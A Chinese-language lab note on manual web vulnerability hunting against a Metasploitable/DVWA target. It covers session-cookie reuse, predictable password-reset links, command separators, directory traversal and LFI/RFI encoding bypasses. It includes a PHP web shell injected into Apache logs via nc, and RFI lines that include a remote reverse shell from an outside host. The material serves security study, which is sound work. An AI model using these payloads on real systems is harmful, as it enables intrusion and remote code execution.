手动漏洞挖掘
Matesploitable:172.16.2.65
Security Level:low
kali linux:172.16.2.63
身份认证 账号密码层面
- 常用弱口令/基于字典的密码爆破
- 锁定账号
- 信息手机
- 手机号
- 密码错误提示信息
- 密码嗅探
如果有不一样,可将其右键发送到intruder加入变量
会话sessionID
- Xss / cookie importer
- SessionID in URL
- 嗅探
- SessionID 长期不变 / 永久不变
- SessionID 生成算法
- Sequencer (Burpsuite中检测cookie生成算法健壮性的功能)
私有算法- 预判下一次登陆时生成的SessionID(例如:使用时间哈希值作为随机值)
- 登出后返回测试
-
SessionID in URL
-
在主机上使用浏览器访问并登录172.16.2.65/dvwa获得cookie
然后复制该cookie,在kali中使用firefox访问172.16.2.65/dvwa,使用cookie manager工具将此时的cookie替换为刚才复制的,再次回车,发现可以进入到登录界面,不需要输入登录密码。
-
SessionID必须是短时间的
-
建议使用通用的主流的加密算法+随机值
密码找回
登陆时点击忘记密码/密码找回,输入手机号码/邮箱/提示问题等注册时的信息,邮箱接收到找回密码链接。
国外安全工程师发现后面看似随机的一串数值是前面邮箱全称的SHA256后的密文。
则key值可以预判,直接点击找回密码的按钮,填写邮箱,系统给邮箱发该邮件,黑客可以不看该邮件直接构建URL。
漏洞挖掘原则
- 所有变量
- 所有头
- cookie中的变量
- 逐个变量删除
- 漏洞本质
- 数据与指令的混淆
- 对用户输入信息过滤不严判断失误,误将指令当数据
- 发送到repeater,判断哪些头、变量会对服务器返回结果产生变化。
- 对用户输入进行过滤
&& 表示当前面的命令执行成功后执行后面的
& 表示同时执行
|| 表示当前面的命令执行失败后执行后面的
高安全级别编码
通过cookie注入
目录遍历 / 文件包含
- Directory traversal 修改url地址或参数变量可访问www根目录下的其他目录,目录权限限制不严格。例如/etc/passwd。
- 文件包含:1. 包含本地目录LFI 2.远程RFI
-
matesploitable默认不具有远程文件漏洞,需要修改metasploitable中的配置文件
sudo vi /etc/php5/cgi/php.ini
修改完后需要重启apache2,重启后有漏洞的配置才会生效sudo /etc/init.d/apache2 restart
重启好后效果如图。
本地文件包含
cd . 当前目录
cd .. 当前目录的上一级0
cd ../ 当前目录的上一级
/etc/passwd 绝对路径
file:///etc/passwd
home=main.cgi
page=http://www.a.com/1.php
http://1.1.1.1/../../../../../../dir/file.txt
include不在这台服务器上的其他网站的页面,同理,利用这种方法可以include一个反弹shell,
page=http://1.1.1.1/reverse_php.php
- 被服务器过滤特殊字符,编码绕过字符过滤
“.” “%00” 空字符URL编码 #绕过文件扩展名过滤
file=a.doc%00.php
不同操作系统的路径特征字符
类unix系统
根目录:/
目录层级分隔符:/
Windows系统
C:\
\或/
编码
url编码、双层url编码
%2e%2e%2f 解码:../
%2e%2e%5c 解码:..\
%252e%252e%255c 解码:..\
Unicode/UTF-8编码
..%c0%af 解码:../
burpsuiteh中有编码功能
其他系统路径可能使用到的字符
file.txt...
file.txt<spaces>
file.txt""""
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt
\\1.1.1.1\path\to\file.txt
本地文件包含lfi和远程文件包含rfi实际应用
本地文件包含lfi
- 查看文件
- 执行代码
通过nc注入php代码
nc 172.16.2.65 80
<?php echo shell_exec($_GET['cmd']);?>
在Metasploitable上查看日志/var/log/apache2/access.log
metasploitable默认情况下www-data没有对access.log的读取权限,如果有,则可通过访问access.log访问刚才通过nc注入的代码。
手动修改access.log权限,注意此处不仅需要修改文件权限,还需要修改文件上级目录的访问权限。
sudo chmod a+rx access.log
cd ..
sudo chmod a+xr apache2/
在kali上通过nc向日志文件注入代码后,再通过URL本地文件包含漏洞调用access.log。
看起来比较乱,但有效果。
远程文件引用漏洞
存在远程文件引用漏洞时,在kali上放网页木马,让对方include引用然后在对方的机器上执行。
- 现在kali上侦听本地80端口
- page=http://172.16.2.63/a.php
把Security Level调整为medium,从源码中可以看到"page="后不能直接出现“http://”和“https://”,需要进行简单绕过。
进入kali机
cd /var/www/html
vim 2.txt
写入代码:
<?php echo shell_exec($_GET['cmd']);?>
补充:
kali linux中默认集成攻击向量字典,包括本地文件引用、目录遍历等类型漏洞攻击向量字典
路径:/usr/share/wfuzz/wordlist/vulns